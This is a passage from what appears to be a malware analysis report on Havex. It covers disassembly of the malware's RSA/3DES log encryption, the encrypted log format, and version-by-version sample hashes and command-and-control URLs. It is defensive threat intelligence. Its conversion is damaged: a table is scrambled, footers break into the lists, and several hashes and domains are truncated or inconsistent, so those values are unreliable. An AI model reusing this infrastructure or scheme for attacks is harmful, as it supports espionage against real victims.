Once 3DES is initialized, the next step is to RSA encrypt the 3DES KEY using the RSAPublicEncrypt function. It is essentially creating the PKCS #1 padding block around the key and then calling the rsapublicencrypt function.

Example of a layout where 0x42 is the PKCS#1 padding block and 0x41 the 3DES key (original values overwritten for clarification purpose):

```
Example of a layout where 0x42 is the PKCS#1 padding block and 0x41 the 3DES key (original values overwritten for clarification purpose):
```

The rsapublicencrypt is basically a wrapper to various big num functions used to compute RSA:

```c
lea      eax, [ebp+var_89]
push     1
push     eax
call     _R_GenerateBytes ; RandomBytes used to generate PKCS
mov      al, [ebp+var_89]
pop      ecx
pop      ecx
test     al, al
jz       short GeneratePKCS
mov      [ebp+ebx+var_88], al
inc       ebx
cmp      ebx, [ebp+var_9C]
jb       short GeneratePKCS
```

```c
lea      eax, [ebp+68h+N]
push     eax
lea      eax, [ebp+68h+E]
push     eax
lea      eax, [ebp+68h+M]
push     eax
lea      eax, [ebp+68h+C]
push     eax
mov      eax, edi
mov      ecx, ebx
call     _NN_ModExp ; Compute c = m^e mod n
```
N parameter in one sample:

```
2B CF B2 48 42 7E 8E 21 E1 E7 A2 5C D2 B4 A9 80
74 BD 23 08 C1 0F D7 F1 D8 44 E5 AE 46 F1 F0 A1
41 FC 94 5E F7 AE 81 6D 7F E7 C2 CA ED 36 89 BF
60 B9 65 F6 86 C4 C3 5D BD 89 A8 76 50 8C 1F D7
CD 39 DD 98 4A F6 0F 60 F6 13 E8 07 A1 FF DE 2F
A0 B7 91 A0 8C F0 8A BA 61 71 4D AC C1 1A 0D AE
B7 27 7E 11 7D F5 A7 90 41 FB B1 C7 0D 0A 32 C1
5C C0 93 E4 01 03 41 C2 8F 7F 99 51 E6 15 7F C5
```

The E parameter is the standard 0x10001

After the 3DES key is encrypted using RSA, the log files are encrypted. The final encrypted log file layout looks like the following: (important parameters overwritten for clarity):

The YLS file format can be described as follows:

- **SIZE OF RSA Identifier:** 0x29 in the figure above
- **RSA ID:** “39ee448cf196304cfe9c6b1c2e436”. (Used by attackers to identify which RSA key was used to encrypt the 3DES Key.
- **BLOCKSIZE:** 128 bytes (24 bytes from 3DES key and 104 from PKCS padding block)
- **ENCRYPTED 3DES KEY:** In yellow on the figure above, replaced by “C”
- **3DES Initialization Vector:** In red on the figure above, replaced by “I”. Mandatory to decrypt logs.
- **3DES ENCRYPTED LOG bytes**
Only the attackers can decrypt such a log file. They can identify which Public RSA Key was used from the identifier, and decrypt the 3DES key using their Private RSA Key. From there, they can use the 3DES Key and the Initialization Vector which is present in clear form to decrypt the log file.
Havex sample details by version

**HAVEX version 01**

SHA-256: 170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33af930f3c8  
Size: 226304  
Compiled: Wed, 28 Sep 2011 07:36:00 UTC  

**HAVEX version 02**

SHA-256: b647f883911ff20f776e0a42564b13ef961fa584ebd5cfc9dd2990bca5df24e  
Size: 226304  
Compiled: Wed, 28 Sep 2011 02:15:23 UTC  
SHA-256: fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43  
Size: 226304  
Compiled: Wed, 28 Sep 2011 04:09:41 UTC  
SHA-256: 6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7  
Size: 226304  
Compiled: Wed, 28 Sep 2011 07:37:30 UTC  
C2 URLs: (common for all samples above)  
onemillionfiles.com/server_package/system/application/controllers/list.php?id=  

**HAVEX version 0F**

SHA-256: 7c1136d6f5b10c22698f7e049dbc493be6e0ce03316a86c422ca9b670cb133aa  
Size: 401456  
Compiled: Thu, 27 Oct 2011 07:32:55 UTC  
SHA-256: 4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129  
Size: 400384  
Compiled: Thu, 27 Oct 2011 07:32:55 UTC  
SHA-256: bacac71fcc61db9b55234d1ccf45d5fffd9392c430cdd25ee7a5cea4b24c7128  
Size: 401527
Compiled: Thu, 27 Oct 2011 07:32:55 UTC

C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id=
          www.intellbet.com/_lib/db_simple/Mysqli.php?id=
          www.activateav.com/wp-includes/pomo/dx.php?id=

HAVEX version 012

SHA-256: 0c20ffcd2f492ccad2e53777a0885c579811f91c05d076ff160684082681fe68
Size: 400384
Compiled: Thu, 27 Oct 2011 11:38:42 UTC

SHA-256: 31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4
Size: 401519
Compiled: Thu, 27 Oct 2011 11:38:42 UTC

SHA-256: 56a1513bfc959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2
Size: 401519
Compiled: Thu, 27 Oct 2011 12:02:20 UTC

C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id=
          www.intellbet.com/_lib/db_simple/Mysqli.php?id=
          www.activateav.com/wp-includes/pomo/dx.php?id=

HAVEX version 013

SHA-256: 9517a412633b8ebeac875a2da7fe119b72efad62859dc1719b84d561792a9033
Size: 401519
Compiled: Thu, 27 Oct 2011 11:41:14 UTC
C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id=
          www.intellbet.com/_lib/db_simple/Mysqli.php?id=
          www.activateav.com/wp-includes/pomo/dx.php?id=

HAVEX version 014

SHA-256: 02e5191078497be1e6ea8bac93b6c9b9b3ee36a58e4f7dd343ac1762e7f9301e
Size: 402543
Compiled: Mon, 07 Nov 2011 09:40:37 UTC
SHA-256: d755904743d48c31bdf791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07
Size: 401408

TLP: Green
For any inquire please contact intelreports@kaspersky.com
Compiled: Mon, 07 Nov 2011 09:40:37 UTC

SHA-256: 65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c
Size: 401408
Compiled: Mon, 07 Nov 2011 09:40:37 UTC

SHA-256: 60f86898506f0fddf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4
Size: 401408
Compiled: Mon, 07 Nov 2011 09:40:37 UTC

C2 URLs: 7adharat.com/forum/includes/search/index_search.php?id=
wmr.ueuo.com/advertisers/TEMP/dbaza.php?id=
www.insigmaus.com/wp-includes/pomo/dx.php?id=
www.soluciones4web.com/wp-includes/pomo/dx.php?id=

HAVEX version 017

SHA-256: bcdcb4b5e9aaae2c46d5b0ed16aca629de9faa5e787c672191e0bdf64619a95
Size: 401968
Compiled: Fri, 02 Dec 2011 14:07:10 UTC
C2 URLs: hq.mission1701.com/include/plugins/search.php?id=
ict.am/style/default/search.php?id=
joomware.org/modules/mod_search/search.php?id=

SHA-256: ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3
Size: 399494
Compiled: Fri, 02 Dec 2011 14:14:05 UTC

SHA-256: 646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552
Size: 398532
Compiled: Fri, 02 Dec 2011 14:14:05 UTC

C2 URLs: nsourcer.com/modules/menu/menu.php?id=
www.onehellowfareide.com/wp-includes/pomo/dsx.php?id=
triptoasia.com/wp-content/plugins/idx.php?id=

SHA-256: 2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdf023754
Size: 400434
Compiled: Sat, 03 Dec 2011 05:47:06 UTC
SHA-256: aafbf4bba99c47e7d05c951ad964ce09493db091ba5945e89df916c6fa95d101
Size: 399154
Compiled: Sat, 03 Dec 2011 05:47:06 UTC

SHA-256: 837e68be35c2f0ab9e2b3137d6f9f7d16cc387f3062a21dd98f436a4bcceb327
Size: 398918
Compiled: Sat, 03 Dec 2011 05:47:06 UTC

SHA-256: abdb2da30435430f808b229f8b6856fafc154a386ef4f7c5e8de4a746e350e0c
Size: 394206
Compiled: Sat, 03 Dec 2011 05:47:06 UTC
C2 URLs: serviciosglobal.com/inc/search.php?id=
         theluvsite.com/modules/search/src.php?id=

HAVEX version 018

SHA-256: a2fe7a346b39a062c60c50167be7dd4f6a8175df054faa67bff33ec42b1072d9
Size: 401968
Compiled: Sat, 03 Dec 2011 05:55:08 UTC
C2 URLs: motahariblog.com/core/date/date.php?id=
         www.rsccarcare.com/modules/Manufacturers/source.php?id=
         roxsuite.com/modules/mod_search/mod_search.src.php?id=

SHA-256: ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235
Size: 401408
Compiled: Thu, 10 Nov 2011 06:11:50 UTC
C2 URLs: productosmiller.com/includes/modules/iddx.php?id=
         sabioq.com/Connections/_notes/dxml.php?id=
         vamcart.com/modules/system/blocks/system.php?id=
         jo.contrasso.com/chief-cooker/tiny_mce/plugins/searchreplace/edit.php?id=

SHA-256: e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6bab091080c1e74
Size: 402543
Compiled: Wed, 09 Nov 2011 10:51:51 UTC
C2 URLs: www.expathiring.com/generator/pages/page-index.php?id=
         ijbeta.com/wp-includes/pomo/dx.php?id=
         insurancelower.com/tareas/include/_php.php?id=

HAVEX version 019
SHA-256: 8d343be0ea83597f041f9cbc6ea5b63773affc267c6ad99d31badee16d2c86e5
Size: 401968
Compiled: Fri, 02 Dec 2011 13:46:14 UTC
C2 URLs: pekanin.freevar.com/include/template/isx.php?id=
 randallweil.com/cms/tinyMCE/examples/access.php?id=
 shwandukani.ueuo.com/modules/mod_search/mod_research.php?id=

SHA-256: 0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb
Size: 400896
Compiled: Fri, 02 Dec 2011 14:05:30 UTC
C2 URLs: hq.mission1701.com/include/plugins/search.php?id=
 iclt.am/style/default/search.php?id=
 joomware.org/modules/mod_search/search.php?id=

SHA-256: e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5
Size: 400896
Compiled: Fri, 02 Dec 2011 14:17:40 UTC
C2 URLs: nsourcer.com/modules/menu/menu.php?id=
 www.onehellofaride.com/wp-includes/pomo/dsx.php?id=
 tripstoasia.com/wp-content/plugins/idx.php?id=

HAVEX version 01A

SHA-256: f65d767af0198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3
Size: 406445
Compiled: Fri, 09 Dec 2011 10:30:42 UTC

SHA-256: 698ec413986dc7fc761b1a17624fffbb1590902020b9d0cd5d9a6013c67d9100
Size: 402173
Compiled: Fri, 09 Dec 2011 10:30:42 UTC

SHA-256: 022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac
Size: 408277
Compiled: Fri, 09 Dec 2011 10:30:42 UTC
Notes: file is corrupted

SHA-256: b8f2fdddf7a9d0b813931e0efe4e6473199688320d5e8289928fe87ce4b1d068
Size: 402609
Compiled: Fri, 09 Dec 2011 10:30:42 UTC

TLP: Green
For any inquire please contact intelreports@kaspersky.com
SHA-256: 4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05
Size: 409042
Compiled: Fri, 09 Dec 2011 10:30:42 UTC

SHA-256: 7081455301e756d6459ea7f03cd55f7e4906222d36a5a019861e6b17141f69bd0
Size: 405517
Compiled: Fri, 09 Dec 2011 10:30:42 UTC

newdawnkenya.com/modules/mod_search/src.php?id=

SHA-256: bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79
Size: 409136
Compiled: 2011-12-09 11:47:50
C2 URLs: geointeres.com/engine/modules/source.php?id=
ojoobo.com/modules/forum/forum-source.php?id=
www.prosperis.com/cms/sections/source.php?id=

HAVEX version 01B

SHA-256: 8da93bc4d20e5f38d599ac89db26fc2f1eecebfb36c14209302978d46fc4ce5412
Size: 2031109
Compiled: Tue, 13 Dec 2011 06:14:15 UTC
Notes: Corrupted / nested file

SHA-256: 224e8349ba128f0ab57bdebef5287f4b84b9dccc2d8503f53f6333e9f5f9265
Size: 422871
Compiled: Tue, 13 Dec 2011 06:14:15 UTC
C2 URLs: ytu.am/modules/mod_search/source.php?id=
tallhoody.com/wp-includes/pomo/idx.php?id=
www.prosperis.com/cms/email/mail.php?id=

HAVEX version 01C

SHA-256: a05b53260c2855829226dffb814022b7ff4750d278d6c46f2e8e0dc58a36a1f9
Size: 2031109
Compiled: Fri, 16 Dec 2011 09:05:34 UTC
Notes: Corrupted / nested file
SHA-256: 0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255
Size: 418426
Compiled: Fri, 16 Dec 2011 08:57:55 UTC
C2 URLs: geointerest.com/engine/modules/source.php?id=
ojoobo.com/modules/forum/forum-source.php?id=
www.prosper.com/cms/sections/source.php?id=

SHA-256: 3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29
Size: 420874
Compiled: Tue, 20 Dec 2011 07:06:16 UTC
C2 URLs: ispacs.com/cna/pages.cn/cna_source.php?id=
strategyofroulette.com/app/usr/usrsr.php?id=
www.meortemple.com/wp-includes/pomo/idx.php?id=

HAVEX version 01D

SHA-256: 66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3
Size: 2045717
Compiled: Wed, 21 Dec 2011 08:55:59 UTC
Notes: Corrupted / nested file

SHA-256: 83e57d8f3810a72a772742d4b786204471a7607e02fa445c3cd083f164cc4af3
Size: 2031109
Compiled: Wed, 21 Dec 2011 08:58:09 UTC
Notes: Corrupted / nested file
C2 URLs: giant99.com/site-admin/pages/source.php?id=
abainternationaltoursandtravel.com/hiking_Safaris/source.php?id=
www.nafoonservices.com/wp-includes/pomo/idx.php?id=

SHA-256: 170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878
Size: 422960
Compiled: Thu, 29 Dec 2011 07:17:39 UTC
Source Url: ijbeta.com/wp-includes/pomo/ambigos0.jpg

SHA-256: 0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf
Size: 421947
Compiled: Thu, 29 Dec 2011 07:17:39 UTC
C2 URLs: thecafe7.com/modules/mod_newsflash/mod_newsflash_idx.php?id=
thecafe7.com/modules/mod_whosonline/src.php?id=
<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Size</th>
<th>Compiled</th>
</tr>
</thead>
<tbody>
<tr>
<td>rchdmtnez.com/modules/mod_search/source.php?id=</td>
<td>417296</td>
<td>Tue, 10 Jan 2012 12:27:57 UTC</td>
</tr>
<tr>
<td>SHA-256: 5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6</td>
<td>422624</td>
<td>Tue, 10 Jan 2012 12:27:57 UTC</td>
</tr>
<tr>
<td>C2 URLs:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dominioparayoani.com/wp-includes/pomo/source.php?id=</td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.espadonline.com/forum/includes/block/source.php?id=">www.espadonline.com/forum/includes/block/source.php?id=</a></td>
<td></td>
<td></td>
</tr>
<tr>
<td>aptguide.3dtour.com/includes/cloudfusion/sc4.class.php?id=</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SHA-256: e42badd8fb20f1bc72b1ce65c42a96ee60a4b52d19e8f5a7248afee03646ace</td>
<td>401788</td>
<td>Tue, 10 Jan 2012 14:04:49 UTC</td>
</tr>
<tr>
<td>SHA-256: 487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a</td>
<td>421467</td>
<td>Tue, 10 Jan 2012 14:04:49 UTC</td>
</tr>
<tr>
<td>SHA-256: 2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9</td>
<td>409048</td>
<td>Tue, 10 Jan 2012 14:04:49 UTC</td>
</tr>
<tr>
<td>SHA-256: c4e2e341689799281eae47de75f59edceaba281398b41fe7616436f247ab93d</td>
<td>415640</td>
<td>Tue, 10 Jan 2012 14:04:49 UTC</td>
</tr>
<tr>
<td>SHA-256: b0faba6156c7b0cd59b94eeded37d8c1041d4b8dfa6aacd6520a6d28c3f0a5e</td>
<td>418118</td>
<td>Tue, 10 Jan 2012 14:04:49 UTC</td>
</tr>
<tr>
<td>SHA-256: 1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a</td>
<td>422416</td>
<td>Tue, 10 Jan 2012 14:04:49 UTC</td>
</tr>
<tr>
<td>SHA-256: 45abd87da6a584ab2a66a06b40d3c84650f2a33f5f5c5c2630263bc17ec4139</td>
<td>422452</td>
<td></td>
</tr>
</tbody>
</table>
SHA-256: 72ff91b3f36ccf07e3daf6709db441d2328ec366fd5ff81fc70dd9eb45db8
Size: 421677
Compiled: Tue, 17 Jan 2012 07:29:35 UTC

C2 URLs:
basecamp.turbomilk.com/turbomilk/contractors2/idx.php?id=
bbpd.com/includes/xpath/xpath.src.php?id=
 iqaws.com/catalog/install/source.php?id=

SHA-256: 49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee783077c9dcd3ee2
Size: 423472
Compiled: Mon, 30 Jan 2012 11:10:17 UTC
C2 URLs:
familienieuwland.com/Schotland_files/_vti_cnf/index2.php?id=
serviciosglobal.com/TPV/src.php?id=
 la5taavenida.com/wp-content/themes/citylight-idea-10/citylight-idea-10/idx.php?id=

SHA-256: 2c370e504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368
Size: 423472
Compiled: Mon, 27 Feb 2012 09:09:44 UTC
Source URL: ijbeta.com/wp-includes/pomo/ambigos0.jpg
C2 URLs:
 stalprof.com.ua/includes/domit/src.php?id=
 pornoxxx1.com/engine/ajax/src.php?id=

HAVEX version 01F

SHA-256: 7e0dafedd01d09e66524f52345d652b29d3f634361c0a69e8d466dc062fd0e3001
Size: 423472
Compiled: Tue, 07 Feb 2012 06:22:05 UTC

SHA-256: 6e92cd298e25bcfe17326f69882b636150d2a1af494ef8186565544f0d04d3d
Size: 446464
Compiled: Tue, 07 Feb 2012 06:22:05 UTC

C2 URLs:
ispace.com/cna/pages.cn/cna_source.php?id=
 strategyofroulette.com/app/usr/usr_src.php?id=
 www.meortemple.com/wp-includes/pomo/idx.php?id=

SHA-256: d71da8a59f3e474c3b3d3f2f00f3e0b235c3e01cd9f465180dd0ab19d6af5526
Size: 421081
Compiled: Tue, 14 Feb 2012 14:34:23 UTC
SHA-256: 61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54
Size: 415525
Compiled: Tue, 14 Feb 2012 14:34:23 UTC
SHA-256: 0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5
Size: 423472
Compiled: Tue, 14 Feb 2012 14:34:23 UTC
C2 URLs: dayniilecom.com/index_files/iibka300_files/source.php?id=
red-opus.com/_vti_bin/_vti_aut/source.php?id=
www.cetlot.com/wp-includes/pomo/idx.php?id=

SHA-256: 2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6
Size: 416221
Compiled: Tue, 14 Feb 2012 14:38:41 UTC
C2 URLs: peterbogdanov.com/php/phpmailer/phpdoc/src.php?id=
www.behrendt-pasewalk.de/blog/wp-content/plugins/source.php?id=
www.a-knoblach.de/russland-blog/functions/locnav/pfeil_src.php?id=

SHA-256: aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee
Size: 423472
Compiled: Wed Feb  8 06:53:30 2012 UTC
C2 URLs: ytu.am/modules/mod_search/source.php?id=
tallhoody.com/wp-includes/pomo/idx.php?id=
www.prosperis.com/cms/email/mail.php?id=

HAVEX version 020

SHA-256: 224e8349ba128f0ab57bdebef5287f4b84b9dccc2d8503f53f6333ef5f9265
Size: 422871
Compiled: Tue, 13 Dec 2011 06:14:15 UTC
C2 URLs: ytu.am/modules/mod_search/source.php?id=
tallhoody.com/wp-includes/pomo/idx.php?id=
www.prosperis.com/cms/email/mail.php?id=

SHA-256: 2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79
Size: 460848
Compiled: Mon, 12 Mar 2012 11:54:12 UTC
C2 URLs: www.rscarcare.com/modules/Manufacturers/source.php?id=
rcdm-global.de/plugins/search/content/source.php?id=
www.eriell.com/services/photo/source.php?id=

SHA-256: cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50
Size: 459824
Compiled: Tue, 01 May 2012 10:54:35 UTC
C2 URLs: blog.iclt.am/wp-includes/pomo/src.php?id=
coma.nsourcer.com/modules/search/frontend/default/src.php?id=
www.rutravel.com/admin/include/source.php?id=

HAVEX version 021

SHA-256: edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050
Size: 458119
Compiled: Sat, 09 Jun 2012 06:49:43 UTC

SHA-256: a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3
Size: 460848
Compiled: Sat, 09 Jun 2012 06:49:43 UTC
C2 URLs: swissitaly.com/includes/phpmailer/class.pop3.php?id=
artem.sataev.com/blog/wp-includes/pomo/src.php?id=

HAVEX version 022

SHA-256: 43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b
Size: 462848
Compiled: Mon, 17 Sep 2012 09:43:36 UTC
C2 URLs: blog.vraert.com/wp-includes/pomo/src.php?id=
wildlifehc.org/nest/services/source.php?id=
www.sdfgdsdf23_sdgdstavolozza.4lf.me/z/j/tiny_mce/plugins/xhtmlxtras/src.php?id=

SHA-256: 98bd5e8353bc9b70f8a52786365bcdb28bd3aef164d62c38dae8df33e04ac11a
Size: 463920
Compiled: Tue, 17 Jul 2012 06:35:58 UTC
C2 URLs: lafollettwines.com/includes/phpInputFilter/source.php?id=
alexvernigor.com/includes/phpmailer/source.php?id=
www.recomiendalos.com/inc/eml_templates/source.php?id=
www.jklgdf789dh43.com/7890890778yer/rttrty/rtty/ery/er.php?id=

SHA-256: da3c1a7b63a6a7ccee0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916
Size: 463920
Compiled: Tue, 28 Aug 2012 13:53:28 UTC
C2 URLs: artsepid.com/plugin/contact-form/source.php?id=
xezri.net/chat/etiraf/source.php?id=
bukzahid.org.ua/engine/modules/src.php?id=
www.sdfgdsdf2354235il.com/inc/eml_templates/source.php?id=

SHA-256: 269ea4b883de65f235a0441144519cf6cac80ef666eccf073eedd5f9319be0f
Size: 463920
Compiled: Mon, 06 Aug 2012 12:42:06 UTC
C2 URLs: mohsenmeghdari.com/includes/exifer1_5/source.php?id=
alpikaclub.com/wp-includes/pomo/idx.php?id=
naturexperts.com/themes/bluemarine/node.php?id=
www.sdfgdsdf2354235il_jsaopwiowhrwkbfjk2345234532gssdrgesr.com/inc/eml_templates/source.php?id=

SHA-256: 1ba99d553582cc6b6256276a35c2e996e83e11b39665523f0d798beb91392c90
Size: 463920
Compiled: Wed, 22 Aug 2012 09:34:45 UTC
C2 URLs: www.snow-lab.com/modules/mod_search/tmpl/search.php?id=
motorjo.com/z/j/tiny_mce/plugins/media/source.php?id=
forum.unmondeparfait.org/includes/search/source.php?id=
www.sdfgdsdf2354235il_jsaopwiowhrwkbfjk2345234532gssdrgesr.com/inc/eml_templates/source.php?id=

HAVEX version 024

SHA-256 778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a
Size: 452608
Compiled: 2012-12-11 05:51:17
Source URL: www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php

SHA-256: 066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18
Size: 452608
SHA-256: 2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4
Size: 452608
Compiled: Tue, 06 Nov 2012 09:06:18 UTC
C2 URLs: cadlab.ru/components/com_search/com_search.php
terienetwork.ru/components/com_search/search.src.php
radiolocator.ru/includes/domit/dom_xmlrpc_builder_src.php

SHA-256: d3ee530abe41705a819ee9220aebb3ba01531e16df7cdead050ba2cf051940e46
Size: 452608
Compiled: Tue, 06 Nov 2012 09:14:18 UTC
C2 URLs: hram-gelendzhik.ru/modules/mod_search/source.php
fasdalf.ru/modules/forum/forum-src.php
fortexcompany.ru/forms/FCKeditor/editor/plugins/bbcode/fckplugin.php

SHA-256: 6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980
Size: 350382
Compiled: Tue, 06 Nov 2012 09:14:18 UTC
Notes: file is corrupted
C2 URLs: hram-gelendzhik.ru/modules/mod_search/source.php
fasdalf.ru/modules/forum/forum-src.php
fortexcompany.ru/forms/FCKeditor/editor/plugins/bbcode/fckplugin.php

SHA-256: bee9f2a01e0049d4cf94016284b16849136233366d1509489797084672e5448f
Size: 452608
Compiled: Wed, 19 Dec 2012 07:15:03 UTC
C2 URLs: grafics.kz/plugins/search/source.php
topstonet.ru/modules/mod_search/source.php
raznyi-content.ru/wp-includes/pomo/idx.php

SHA-256: dc612882987fab581155466810f87fd8f02da5c61ad8fc618ce903c9650fcf
Size: 452608
Compiled: Thu, 20 Dec 2012 07:45:29 UTC
C2 URLs: finadmition.ru/wp-includes/pomo/idx.php
medpunkt.biz/includes/modules/FCKeditor/fcksource.php
intimit.ru/includes/phpmailer/source.php

SHA-256: fd689fcedef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4
Size: 452608
Compiled: Fri Oct 26 12:13:04 2012 UTC
C2 URLs: grafics.kz/plugins/search/source.php
www.kino24.kz/blog/engine/modules/plugin/source.php
www.idweb.ru/assets/modules/docmanager/classes/dm_source.php

HAVEX version 025

SHA-256: 684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc
Size: 459264
Compiled: Mon, 24 Sep 2012 13:58:54 UTC
C2 URLs: topco-co.com/wp-includes/pomo/idx.php?id=
crm.mayanks.com/vtigercrm/modules/Services/source.php?id=
tickettotimbuktu.com/app/code/core/Mage/Rule/Model/Condition/Source.php?id

HAVEX version 029

SHA-256: cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9db06ee111
Size: 434688
Compiled: Tue, 30 Apr 2013 06:53:24 UTC
C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php
adultfrienditaly.com/wp-includes/pomo/src.php
adultfriendfrance.com/wp-includes/pomo/src.php

HAVEX version 030

SHA-256: 6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b
Size: 435712
Compiled: Wed, 08 May 2013 05:12:53 UTC
C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php
adultfrienditaly.com/wp-includes/pomo/src.php
adultfriendfrance.com/wp-includes/pomo/src.php

HAVEX version 037

SHA-256: 0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095
Size: 436736
Compiled: Fri, 16 Aug 2013 05:49:18 UTC
Resource: ICT 0x69
C2 URLs: jcaip.co.jp/inc/user/mysql_s.php
shopcode.net/wp-includes/pomo/idx.php
dl.3manage.com/services/ip/easy/idx.php
SHA-256: 92c959c36617445a35e6f4f2ee2733861aa1b3baf8728d19a4fd5176f3c80401
Size: 436736
Resource: ICT 0x69
C2 URLs: blog.olioboard.com/wp-includes/pomo/idx.php
blog.keeleux.com/wp-includes/pomo/idx.php
alexvernigor.com/includes/phpmailer/source.php

SHA-256: 0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876
Size: 436799
Compiled: Thu, 04 Jul 2013 12:54:48 UTC
Resource: ICT 0x69
C2 URLs: serviciosglobal.com/inc/search.php
zhayvoronok.com/wp-includes/pomo/idx.php
dreamsblock.com/witadmin/modules/source.php

HAVEX version 038

SHA-256: ec48b131612ef5637b387d9c2b0907d68a080fb77c6168e779fb7f3a0efa04dc
Size: 327168
Compiled: Tue, 29 Oct 2013 06:09:24 UTC
C2 URLs: pekanin.freevar.com/include/template/isx.php
simpsons.freesexycomics.com/wp06/wp-includes/po.php
toons.freesexycomics.com/wp08/wp-includes/dtcla.php

SHA-256: c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b
Size: 327168
Compiled: Tue, 29 Oct 2013 06:09:24 UTC
C2 URLs: allcubatravel.com/roomHavana/Teresita/src.php
keeleux.com/wp/wp-includes/idx.php
sunny-thumbs.com/ebonyaddiction/14/black-stockings-gangbang/source.php

SHA-256: 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67
Size: 327168
Compiled: Mon, 30 Dec 2013 12:53:48 UTC
C2 URLs: zhayvoronok.com/wp-includes/pomo/idx.php
dreamsblock.com/witadmin/modules/source.php
38stalprof.com.ua/includes/domit/src.php

SHA-256: ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633
Size: 327168
Compiled: Mon, 20 Jan 2014 13:38:43 UTC
C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php
artem.sataev.com/blog/wp-includes/pomo/src.php
swissitaly.com/includes/phpmailer/class.pop3.php

SHA-256: 6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c
Size: 327168
Compiled: Tue, 29 Oct 2013 06:09:24 UTC
C2 URLs: electroconf.xe0.ru/modules/mod_search/mod_search.src.php
sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php
rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp-settings-src.php

SHA-256: e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11c9cad
Size: 327591
Compiled: Mon, 30 Dec 2013 12:53:48 UTC
C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php
artem.sataev.com/blog/wp-includes/pomo/src.php
swissitaly.com/includes/phpmailer/class.pop3.php

SHA-256: f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a
Size: 327168
Compiled: Mon, 30 Dec 2013 12:53:48 UTC
C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php
artem.sataev.com/blog/wp-includes/pomo/src.php
swissitaly.com/includes/phpmailer/class.pop3.php

HAVEX version 040

